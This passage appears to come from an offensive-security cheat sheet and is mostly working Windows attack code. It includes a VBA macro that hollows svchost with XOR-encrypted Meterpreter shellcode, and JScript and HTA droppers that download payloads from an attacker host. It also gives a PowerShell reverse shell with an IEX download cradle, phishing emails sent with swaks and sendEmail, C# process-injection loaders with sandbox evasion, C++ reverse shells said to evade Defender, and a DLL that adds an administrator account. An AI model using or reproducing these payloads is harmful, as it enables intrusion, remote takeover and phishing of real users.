procOutput = CreateProcessA(vbNullString, "C:\\Windows\\System32\\svchost.exe", ByVal 0&, ByVal 0&, False, &H4, 0, vbNullString, si, pi)
Dim ProcBasicInfo As PROCESS_BASIC_INFORMATION
Dim ProcInfo As LongPtr
ProcInfo = pi.hProcess
Dim PEBinfo As LongPtr
#If Win64 Then
zwOutput = ZwQueryInformationProcess(ProcInfo, 0, ProcBasicInfo, 48, 0)
PEBinfo = ProcBasicInfo.PebAddress + 16
Dim AddrBuf(7) As Byte
#Else
zwOutput = ZwQueryInformationProcess(ProcInfo, 0, ProcBasicInfo, 24, 0)
PEBinfo = ProcBasicInfo.PebAddress + 8
Dim AddrBuf(3) As Byte
#End if
Dim tmp As Long
tmp = 0
#If Win64 Then
' Read 8 bytes of PEB to obtain base address of svchost in AddrBuf
readOutput = ReadProcessMemory(ProcInfo, PEBinfo, AddrBuf(0), 8, tmp)
svcHostBase = AddrBuf(7) * (2 ^ 56)
svcHostBase = svcHostBase + AddrBuf(6) * (2 ^ 48)
svcHostBase = svcHostBase + AddrBuf(5) * (2 ^ 40)
svcHostBase = svcHostBase + AddrBuf(4) * (2 ^ 32)
svcHostBase = svcHostBase + AddrBuf(3) * (2 ^ 24)
svcHostBase = svcHostBase + AddrBuf(2) * (2 ^ 16)
svcHostBase = svcHostBase + AddrBuf(1) * (2 ^ 8)
svcHostBase = svcHostBase + AddrBuf(0)
#Else
' Read 4 bytes of PEB to obtain base address of svchost in AddrBuf
readOutput = ReadProcessMemory(ProcInfo, PEBinfo, AddrBuf(0), 4, tmp)
svcHostBase = AddrBuf(3) * (2 ^ 24)
svcHostBase = svcHostBase + AddrBuf(2) * (2 ^ 16)
svcHostBase = svcHostBase + AddrBuf(1) * (2 ^ 8)
svcHostBase = svcHostBase + AddrBuf(0)
#End if
Dim data(512) As Byte
' Read more data from PEB so e_lfanew offset can be retrieved
readOutput2 = ReadProcessMemory(ProcInfo, svcHostBase, data(0), 512, tmp)
' Read e_lfanew offset value and add 40
Dim e_lfanew_offset As Long
e_lfanew_offset = data(60)
Dim opthdr As Long
opthdr = e_lfanew_offset + 40
' Construct relative virtual address for svchost's entry point
Dim entrypoint_rva As Long
entrypoint_rva = data(opthdr + 3) * (2 ^ 24)
entrypoint_rva = entrypoint_rva + data(opthdr + 2) * (2 ^ 16)
entrypoint_rva = entrypoint_rva + data(opthdr + 1) * (2 ^ 8)
entrypoint_rva = entrypoint_rva + data(opthdr)
Dim addressOfEntryPoint As LongPtr
' Add base address of svchost with the entry point RVA to get the start of the buffer to overwrite with shellcode
addressOfEntryPoint = entrypoint_rva + svcHostBase
' Buffer for malicious crypted shellcode needs to go here
Dim sc As Variant
Dim key As String
' TODO change the key
key = "CHANGEMYKEY"
' msfvenom -p windows/meterpreter/reverse_https LHOST=tun0 LPORT=443 EXITFUNC=thread -f vbapplication --encrypt xor --encrypt-key 'CHANGEMYKEY'
sc = Array(145,145,252,...,180)
Dim scSize As Long
scSize = UBound(sc)
' Decrypt shellcode
Dim keyArrayTemp() As Byte
keyArrayTemp = key
i = 0
For x = 0 To UBound(sc)
sc(x) = sc(x) Xor keyArrayTemp(i)
i = (i + 2) Mod (Len(key) * 2)
Next x
' TODO set the SIZE here (use a size > to the shellcode size)
Dim buf(685) As Byte
For y = 0 To UBound(sc)
buf(y) = sc(y)
Next y
' Write the shellcode into the svchost.exe entry point
a = WriteProcessMemory(ProcInfo, addressOfEntryPoint, buf(0), scSize, tmp)
' Resume svchost.exe process to run the shellcode
b = ResumeThread(pi.hThread)
End Function
- Start your Metasploit listener
sudo msfconsole -q -x "use multi/handler; set payload windows/meterpreter/reverse_https; set lhost [ATTACKER_IP]; set lport [PORT]; exploit"
- Deliver your Macros and wait for execution and your reverse shell
JScript
Simple Meterpreter Dropper
Important This will ONLY download the file to the victim, we still need to find another way to execute it.
Steps
- Craft your payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[ATTACKER_IP] LPORT=[PORT] EXITFUNC=thread -f exe -o pay.exe
- Create the
.jsfile
var url = "http://[ATTACKER_IP]/pay.exe"
var Object = WScript.CreateObject('MSXML2.XMLHTTP');
Object.Open('GET', url, false);
Object.Send();
if (Object.Status == 200)
{
var Stream = WScript.CreateObject('ADODB.Stream');
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.Position = 0;
Stream.SaveToFile("pay.exe", 2);
Stream.Close();
}
var r = new ActiveXObject("WScript.Shell").Run("pay.exe");
- Start your listener
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost [ATTACKER_IP]; set lport [PORT]; exploit"
- Find a way to deliver this script to the user, keep in mind that this one will only download it, we still need to
find a way for the system to execute the
.exe
Meterpreter Loader with DotNetToJScript
Steps
-
Download the DotNetToJScript project from GitHub
-
Craft your payload code
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[ATTACKER_IP] LPORT=[PORT] EXITFUNC=thread -f csharp
- Modify the code in
TestClass.csand enter your payload
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
//using System.Threading.Tasks;
[ComVisible(true)]
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public TestClass()
{
Process[] expProc = Process.GetProcessesByName("explorer");
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// INSERT YOUR PAYLOAD HERE
byte[] buf = new byte[760] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,...,0x51,0x56,0x48,
0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0x89,0xda,0xff,0xd5};
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
public void RunProcess(string path)
{
Process.Start(path);
}
}
- In the file
Program.cscomment the following lines (154-158)
if (Environment.Version.Major != 2)
{
WriteError("This tool should only be run on v2 of the CLR");
Environment.Exit(1);
}
-
Compile the whole project for Release
-
Run the tool to get the
.jscode
.\DotNetToJScript\bin\x64\Release\DotNetToJScript.exe .\ExampleAssembly\bin\x64\Release\ExampleAssembly.dll --lang=Jscript --ver=v4 -o runner.js
- Start your listener
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost [ATTACKR_IP]; set lport [PORT]; exploit"
- Find a way to deliver the
.jsfile to the user and that he executes it, then you should get your reverse shell.
Meterpreter with SuperSharpShooter
Steps
-
Download the SuperSharpShooter project from GitHub
-
Craft your Meterpreter payload
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[ATTACKER_IP] LPORT=[PORT] -f raw -o shell.txt
- Run the tool to obtain the
.jscode, other options like AMSI evasion are available in the documentation of the GitHub
./SuperSharpShooter.py --stageless --dotnetver 4 --rawscfile shell.txt --payload js --output payload
- Start your listener
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost [ATTACKR_IP]; set lport [PORT]; exploit"
- Find a way to deliver the
.jsfile to the user and that he executes it, then you should get your reverse shell.
HTA
C# for CLM Bypass with PS Script
Important Note There are a few things to note about this code. First, the _System.Configuration.Install_namespace is missing an assembly reference in Visual Studio. We can add this by again right-clicking on References in the Solution Explorer and choosing Add References.... From here, we'll navigate to the Assemblies menu on the left-hand side and scroll down to System.Configuration.Install
How the Bypass CLM Works
The bypass trick is not within the code but rather on the execution where we use
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe
(see step 6)
Steps
- Create the
shell.ps1, in this case it is just a normal reverse (no Meterpreter) shell without bypassing AMSI but you can improve this
$client = New-Object System.Net.Sockets.TCPClient('[ATTACKER_IP]',[PORT]);$stream =$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
- Create a new Console App (.NET Framework)
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("This is the main method.");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
String cmd = "IEX(New-Object Net.WebClient).DownloadString('http://[Attacker_IP]/shell.ps1";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
- Add the missing references
Right-clicking on References in the Solution Explorer > Choosing Add References > Add System.Configuration.Install
Also add by browsing: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
- Compile the project
Release & Any CPU (also x64 could work)
- Encode the program
certutil.exe -encode .\Bypass\bin\Release\Bypass.exe enc5.txt
- Create the
.htafile
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("powershell iwr -uri http://[ATTACKER_IP]/enc5.txt -outfile C:\\Windows\\Tasks\\enc7.txt; powershell certutil -decode C:\\Windows\\Tasks\\enc7.txt C:\\Windows\\Tasks\\gimme3.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile=/LogToConsole=false /U C:\\Windows\\Tasks\\gimme3.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
- Find a way to deliver the
.htafile to the user, can be also sending an email
swaks --body 'Please click here http://[ATTACKER_IP]/[MAL_FILE].hta' --add-header "MIME-Version: 1.0" --add-header "Content-Type: text/html" --header "Subject: Issues with mail" -t [TARGET_ADDRESS] -f attacker@test.com --server [SMTP_SERVER_IP]
sendEmail -s [SMTP_SERVER_IP] -t [TARGET_ADDRESS] -f attacker@test.com -u "Subject: Issues with mail" -o message-content-type=html -m "Please click here http://[ATTACKER_IP]/[MAL_FILE].hta" -a [MAL_FILE].hta
C# for CLM Bypass with DotNetToJScript
Steps
-
Download the DotNetToJScript project from GitHub
-
Create the payload you want to execute, in this case a Meterpreter reverse shell
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[ATTACKER_IP] LPORT=[PORT] EXITFUNC=thread -f csharp
- Open TestClass.cs and insert this code
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
//using System.Threading.Tasks;
[ComVisible(true)]
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public TestClass()
{
Process[] expProc = Process.GetProcessesByName("explorer");
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
byte[] buf = new byte[874] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,...,0x48,0x31,0xd2,
0x89,0xda,0xff,0xd5};
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
public void RunProcess(string path)
{
Process.Start(path);
}
}
-
Compile the project for Release
-
Convert the
.exeto.js
.\DotNetToJScript\bin\x64\Release\DotNetToJScript.exe .\ExampleAssembly\bin\x64\Release\ExampleAssembly.dll --lang=Jscript --ver=v4 -o payload.js
- Create a
drop.htafile and insert all the code frompayload.js
<html>
<head>
<script language="JScript">
// PASTE WHOLE JS FILE HERE
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
- Start your listener
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost [ATTACKR_IP]; set lport [PORT]; exploit"
- Start your HTTP Server
python3 -m http.server 80
- Find a way to deliver the
.htafile to the user and that he executes it, then you should get your reverse shell; remember that this hta file should be like a link or a shortcut and to works needs to be executed withC:\Windows\System32\mshta.exe, below is just an example for email
sendEmail -s [SNMP_SERVER] -t [VICTIM_EMAIL_ADDRESS] -f attacker@test.com -u "Subject: Issues with mail" -m "Please click here http://[ATTACKER_IP]/drop.hta" -a drop.hta
JScript from SuperSharpShooter
Steps
-
Download the SuperSharpShooter project from GitHub
-
Craft your Meterpreter payload
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[ATTACKER_IP] LPORT=[PORT] -f raw -o shell.txt
- Run the tool to obtain the
.jscode, other options like AMSI evasion are available in the documentation of the GitHub
./SuperSharpShooter.py --stageless --dotnetver 4 --rawscfile shell.txt --payload js --output payload
- Start your listener
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost [ATTACKR_IP]; set lport [PORT]; exploit"
- Create a
.htafile, and copy all the contents of thepayload.jsfile into the below template
<html>
<head>
<script language="JScript">
// INSERT CODE HERE
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
- Start your HTTP Server
python3 -m http.server 80
- Deliver it to the user, remember that it has to be in the form of a link, so it could be a link or a shortcut like
the one below:
C:\Windows\System32\mshta.exe http://[ATTACKER_IP]/drop.hta, below is just an example for email
sendEmail -s [SNMP_SERVER] -t [VICTIM_EMAIL_ADDRESS] -f attacker@test.com -u "Subject: Issues with mail" -m "Please click here http://[ATTACKER_IP]/drop.hta" -a drop.hta
Payloads
C#
BIN Shellcode XOR Encrypted Reverse Shell
Steps
- Craft your
.binpayload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[ATTACKER_IP] LPORT=443 -f raw -o [PAYLOAD_NAME].bin
- XOR Encrypt your payload, suggested key below but up to you
# python .\xorencrypt.py <payload_file> <output_file> <xor_key>
python3 ./xorencrypt.py ./pay.bin pay_encrypted.bin a70f8922029506d2e37f375fd638cdf9e2c039c8a1e6e01189eeb4efb
# Encryption code, can be found in the GitHub reference or in my GitHub repo for OSEP
import sys
def xor_file(input_file, output_file, key):
try:
with open(input_file, "rb") as f:
data = f.read()
except FileNotFoundError:
print("File not found:", input_file)
sys.exit(1)
key = key.encode("utf-8")
key_len = len(key)
encrypted_data = bytearray()
for i in range(len(data)):
current = data[i]
current_key = key[i % key_len]
encrypted_data.append(current ^ current_key)
with open(output_file, "wb") as f:
f.write(bytes(encrypted_data))
print("File encrypted and saved as", output_file)
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python xor_encrypt.py <input_file> <output_file> <key>")
sys.exit(1)
input_file = sys.argv[1]
output_file = sys.argv[2]
key = sys.argv[3]
xor_file(input_file, output_file, key)
- Insert your encrypted shellcode in a new Project
C#Console App, called gimmeshell
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace gimmeshell
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
private static byte[] xor(byte[] cipher, byte[] key)
{
byte[] xored = new byte[cipher.Length];
for (int i = 0; i < cipher.Length; i++)
{
xored[i] = (byte)(cipher[i] ^ key[i % key.Length]);
}
return xored;
}
static void Main(string[] args)
{
DateTime t1 = DateTime.Now;
Sleep(4000);
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
if (t2 < 1.5)
{
return;
}
string key = "a70f8922029506d2e37f375fd638cdf9e2c039c8a1e6e01189eeb4efb";
byte[] xorbuf = {
encryptedShellcode
};
byte[] buf = xor(xorbuf, Encoding.ASCII.GetBytes(key));
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
-
Compile for Release and x64
-
Start your listener
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost [ATTACKER_IP]; set lport 443; exploit"
- Find a way to deliver o download this to the victim and then trigger it, just to mention examples, we could trigger execution using SQL RCE on Linked Servers, NTLM Relays, or PrintSpooler
Process Injection to Another Program Reverse Shell
Steps
- Find the PID of the process that we want to inject
tasklist /FI "IMAGENAME eq [PROGRAM_CHOSEN].exe"
or
Get-Process | Where-Object {$_.Path -like "*[PROGRAM_CHOSEN].exe*"}
- Generate shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[ATTACKER_IP] LPORT=[PORT] EXITFUNC=thread -f csharp
-
Create new VS Project: New Project > .NET Standard Console App
-
Inject shellcode and PID into code
using System;
using System.Runtime.InteropServices;
namespace Inject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
// Replace the PID
IntPtr hProcess = OpenProcess(0x001F0FFF, false, [PID]);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Replace the shellcode
byte[] buf = new byte[591] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
....
0x0a,0x41,0x89,0xda,0xff,0xd5 };
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
Option 2 to Find the PID Dynamically
using System;
using System.Runtime.InteropServices;
namespace Inject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
// Find the PID by Name: eg. explorer
Process[] expProc = Process.GetProcessesByName("[PROGRAM_CHOSEN]");
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Replace the shellcode
byte[] buf = new byte[591] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
....
0x0a,0x41,0x89,0xda,0xff,0xd5 };
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
-
Compile for Release
-
Find a way for the user to execute this code
C/C++
EXE
Reverse Shell
Simple C++ reverse shell, can be used to bypass Windows Defender if we want to get a simple reverse shell from the target. The IP and PORT need to be specified statically in the file before compilation.
Compiling with Linux
x86_64-w64-mingw32-g++ -o rev.exe rev.cpp -lws2_32 -static-libgcc -static-libstdc++
Execution
.\rev.exe
Code
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
// Function to handle the reverse shell
DWORD WINAPI ReverseShell(LPVOID lpParam) {
SOCKET sock = *(SOCKET*)lpParam;
// Redirect standard input, output, and error to the socket
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
// Create a mutable copy of the command string
char cmd[] = "cmd.exe";
// Create a new cmd.exe process with the redirected handles
CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
// Wait for the process to finish
WaitForSingleObject(pi.hProcess, INFINITE);
// Clean up
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
closesocket(sock);
return 0;
}
int main() {
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in server;
char ip[] = "192.168.1.100"; // Replace with your IP address
int port = 4444; // Replace with your port
// Initialize Winsock
WSAStartup(MAKEWORD(2, 2), &wsaData);
// Create socket
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
// Define server address
server.sin_family = AF_INET;
server.sin_port = htons(port);
inet_pton(AF_INET, ip, &server.sin_addr.s_addr);
// Connect to server
if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) {
printf("Connection failed!\n");
closesocket(sock);
WSACleanup();
return 1;
}
// Create a new thread for the reverse shell
HANDLE thread = CreateThread(NULL, 0, ReverseShell, &sock, 0, NULL);
if (thread == NULL) {
printf("Failed to create thread!\n");
closesocket(sock);
WSACleanup();
return 1;
}
// Optionally, wait for the thread to finish (or perform other tasks)
WaitForSingleObject(thread, INFINITE);
// Clean up
CloseHandle(thread);
WSACleanup();
return 0;
}
Reverse Shell Alternative
Simple C++ reverse shell, can be used to bypass Windows Defender if we want to get a simple reverse shell from the target. The IP and PORT need to be specified statically in the file before compilation.
Compiling with Linux
x86_64-w64-mingw32-g++ -o rev.exe rev.cpp -lws2_32 -static-libgcc -static-libstdc++
Execution
.\rev.exe 192.168.45.195 9001
Code
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
// Function to handle the reverse shell
DWORD WINAPI ReverseShell(LPVOID lpParam) {
SOCKET sock = *(SOCKET*)lpParam;
// Redirect standard input, output, and error to the socket
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
// Create a mutable copy of the command string
char cmd[] = "cmd.exe";
// Create a new cmd.exe process with the redirected handles
if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed. Error: %d\n", GetLastError());
closesocket(sock);
return 1;
}
// Wait for the process to finish
WaitForSingleObject(pi.hProcess, INFINITE);
// Clean up the process
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
// Close the socket
closesocket(sock);
return 0;
}
int main(int argc, char* argv[]) {
// Check if the correct number of arguments is provided
if (argc != 3) {
printf("Usage: %s <IP> <Port>\n", argv[0]);
return 1;
}
// Parse IP and port from command-line arguments
const char* ip = argv[1];
int port = atoi(argv[2]);
WSADATA wsaData;
SOCKET sock;
struct sockaddr_in server;
// Initialize Winsock
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
printf("WSAStartup failed.\n");
return 1;
}
// Create socket
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET) {
printf("Socket creation failed.\n");
WSACleanup();
return 1;
}
// Define server address
server.sin_family = AF_INET;
server.sin_port = htons(port);
if (inet_pton(AF_INET, ip, &server.sin_addr.s_addr) <= 0) {
printf("Invalid IP address.\n");
closesocket(sock);
WSACleanup();
return 1;
}
// Connect to server
if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) {
printf("Connection failed.\n");
closesocket(sock);
WSACleanup();
return 1;
}
// Create a new thread for the reverse shell
HANDLE thread = CreateThread(NULL, 0, ReverseShell, &sock, 0, NULL);
if (thread == NULL) {
printf("Failed to create thread.\n");
closesocket(sock);
WSACleanup();
return 1;
}
// Wait for the reverse shell thread to finish
WaitForSingleObject(thread, INFINITE);
// Clean up the thread handle
CloseHandle(thread);
// Clean up Winsock
WSACleanup();
return 0;
}
Add New Admin
Explanation
It will create a new admin user: amit:Password123!.
Compiling
# For 32-bits
i686-w64-mingw32-gcc -oadduser32.exe adduser.c -lnetapi32
# For 64-bits
x86_64-w64-mingw32-gcc -oadduser64.exe adduser.c -lnetapi32
Code
/*
* ADDUSER.C: creating a Windows user programmatically.
*/
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <string.h>
#include <Lmaccess.h>
#include <lmerr.h>
#include <Tchar.h>
DWORD CreateAdminUserInternal(void)
{
NET_API_STATUS rc;
BOOL b;
DWORD dw;
USER_INFO_1 ud;
LOCALGROUP_MEMBERS_INFO_0 gd;
SID_NAME_USE snu;
DWORD cbSid = 256; // 256 bytes should be enough for everybody :)
BYTE Sid[256];
DWORD cbDomain = 256 / sizeof(TCHAR);
TCHAR Domain[256];
//
// Create user
// http://msdn.microsoft.com/en-us/library/aa370649%28v=VS.85%29.aspx
//
memset(&ud, 0, sizeof(ud));
ud.usri1_name = _T("amit"); // username
ud.usri1_password = _T("Password123!"); // password
ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation
ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set
ud.usri1_script_path = NULL;
rc = NetUserAdd(
NULL, // local server
1, // information level
(LPBYTE)&ud,
NULL // error value
);
if (rc != NERR_Success) {
_tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
//
// Get user SID
// http://msdn.microsoft.com/en-us/library/aa379159(v=vs.85).aspx
//
b = LookupAccountName(
NULL, // local server
_T("audit"), // account name
Sid, // SID
&cbSid, // SID size
Domain, // Domain
&cbDomain, // Domain size
&snu // SID_NAME_USE (enum)
);
if (!b) {
dw = GetLastError();
_tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
return dw;
}
//
// Add user to "Administrators" local group
// http://msdn.microsoft.com/en-us/library/aa370436%28v=VS.85%29.aspx
//
memset(&gd, 0, sizeof(gd));
gd.lgrmi0_sid = (PSID)Sid;
rc = NetLocalGroupAddMembers(
NULL, // local server
_T("Administrators"),
0, // information level
(LPBYTE)&gd,
1 // only one entry
);
if (rc != NERR_Success) {
_tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
return 0;
}
//
// DLL entry point.
//
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateAdminUserInternal();
